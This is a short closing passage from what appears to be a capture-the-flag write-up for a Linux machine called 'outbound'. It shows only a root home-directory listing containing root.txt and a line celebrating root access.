Let’s check our home directory.

1
2
3
4
5
6
7
8
9
10
11
12
13
root@outbound:~# ls -la
total 40
drwx------  6 root root 4096 Jul 13 01:59 .
drwxr-xr-x 23 root root 4096 Jul  8 20:14 ..
lrwxrwxrwx  1 root root    9 Jul  8 11:12 .bash_history -> /dev/null
-rw-r--r--  1 root root 3106 Apr 22  2024 .bashrc
drwx------  2 root root 4096 Jul  8 20:14 .cache
-rw-------  1 root root   20 Jul  9 13:53 .lesshst
drwxr-xr-x  3 root root 4096 Jul  8 20:14 .local
-rw-r--r--  1 root root  161 Apr 22  2024 .profile
-rw-r-----  1 root root   33 Jul 13 01:59 root.txt
drwxr-xr-x  2 root root 4096 Jul  9 13:47 .scripts
drwx------  2 root root 4096 Jul  8 20:14 .ssh

Just like that, we have Root!

tags: os/linux - diff/easy